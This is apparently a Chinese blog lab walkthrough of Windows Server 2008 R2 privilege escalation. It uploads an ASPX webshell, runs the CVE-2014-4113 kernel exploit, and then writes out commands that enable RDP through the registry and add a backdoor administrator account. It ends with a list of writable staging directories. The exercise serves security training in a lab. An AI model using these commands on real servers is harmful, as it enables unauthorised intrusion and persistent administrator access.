当前位置:网站首页>111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows内核溢出提权[2008]
1、内核溢出提权背景:
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令。如果没有进行补丁修复可以利用一些溢出提权工具,进行提权。
2、CVE-2014-4113-Exploit
这个版本的提权工具,可以对winserver2008 的系统进行溢出提权
3、内核溢出提权过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并点击[CmdShell]模块,调用cmd.exe执行whoami命令,查看当前用户信息,发现权限很低
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令:
第三步:点击[CmdShell]模块,调用cmd.exe执行systeminfo命令,把结果复制出来,然后利用wes.py脚本扫描漏洞,但是没有扫出来
扫描结果:扫描失败
第四步: 把systeminfo的信息放入该网址中,检索相关提权exp,最后发现CVE-2014-4113可以提权。同时我们通过msfconsole,键入search kernel也可以检索到一些exp,依次进入然后键入info,发现一些是2008R2的提权exp,下图中的ms14-058就是对应着CVE-2014-4113。

第五步:点击[File Manager]文件管理模块,上传rw.aspx用来扫描可读可写文件夹
第六步:访问刚刚上传的rw.aspx大马,扫描可读可写文件夹
如下图所示,我们扫描到了一些可读可写的文件夹,经过不完全测试,发现网站根目录下可以利用。

第七步:回到刚刚的大马,上传CVE-2014-4113-Exploit的exp到c:\inetpub\wwwroot\target_sys.com下
第八步:点击[CmdShell]模块,调用cmd执行刚刚传上去的cve-2017-4113的exp,如下所示,成功溢出

第九步:依次执行以下命令,开启3389端口,新增管理员组用户demo1,最后再远程连接靶机。
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #查看端口状态
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" #开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #验证是否开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user demo1 123 /add"#添加用户demo1/213
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net localgroup administrators demo1 /add" #把demo1用户加入管理员组
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user" #验证demo1用户是否存在
mstsc远程桌面连接:

附:常见可读写目录
≤2003可读写目录
C:\RECYCLER\
D:\RECYCLER\
E:\RECYCLER\
C:\Windows\temp\
C:\Windows\Debug\
C:\Windows\Registration\CRMLog\
C:\Documents and Settings\All Users\Documents\
≥2008可读写目录
C:\ProgramData\
C:\Windows\temp\
C:\Windows\Tasks\
C:\Windows\tracing\ //不可删
C:\Windows\debug\WIA\
C:\Windows\servicing\Sessions\
C:\Windows\servicing\Packages\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\spool\drivers\color\
C:\Users\Default\AppData\ //不可删
C:\ProgramData\Microsoft\DeviceSync\
C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys\
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
C:\ProgramData\Microsoft\User Account Pictures\ //不可删
C:\Users\All Users\Microsoft\NetFramework\BreadcrumbStore\ //不可删
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\syswow64\tasks\microsoft\Windows\pla\system\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\
C:\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\
C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
边栏推荐
- 相机标定(2): 单目相机标定总结
- La voie du succès de la R & D des entreprises Internet à l’échelle des milliers de personnes
- [shortest circuit] acwing1128 Messenger: Floyd shortest circuit
- Talk about SOC startup (x) kernel startup pilot knowledge
- 聊聊SOC启动(七) uboot启动流程三
- Mastering the new functions of swiftui 4 weatherkit and swift charts
- [Yugong series] go teaching course 005 variables in July 2022
- Improve application security through nonce field of play integrity API
- The running kubernetes cluster wants to adjust the network segment address of pod
- 竟然有一半的人不知道 for 与 foreach 的区别???
猜你喜欢
![[system design] index monitoring and alarm system](/img/8e/9c4c168f7f2b8e1f0786a5fe158544.png)
[system design] index monitoring and alarm system

Suggestions on one-stop development of testing life

NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference

Improve application security through nonce field of play integrity API
![[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]](/img/90/ef2400754cbf3771535196f6822992.jpg)
[filter tracking] comparison between EKF and UKF based on MATLAB extended Kalman filter [including Matlab source code 1933]

相机标定(1): 单目相机标定及张正友标定基本原理

【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码

Enclosed please find. Net Maui's latest learning resources

【全栈计划 —— 编程语言之C#】基础入门知识一文懂

【神经网络】卷积神经网络CNN【含Matlab源码 1932期】
随机推荐
Have you ever met flick Oracle CDC, read a table without update operation, and read it repeatedly every ten seconds
La voie du succès de la R & D des entreprises Internet à l’échelle des milliers de personnes
Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
一起探索云服务之云数据库
竟然有一半的人不知道 for 与 foreach 的区别???
相机标定(2): 单目相机标定总结
【最短路】Acwing1128信使:floyd最短路
【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
Solve the problem that vscode can only open two tabs
千人规模互联网公司研发效能成功之路
STM32 entry development NEC infrared protocol decoding (ultra low cost wireless transmission scheme)
The running kubernetes cluster wants to adjust the network segment address of pod
HCIA复习整理
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection
Reasons for the failure of web side automation test
Common SQL statement collation: MySQL
NPC Jincang was invited to participate in the "aerospace 706" I have an appointment with aerospace computer "national Partner Conference
Easyui学习整理笔记
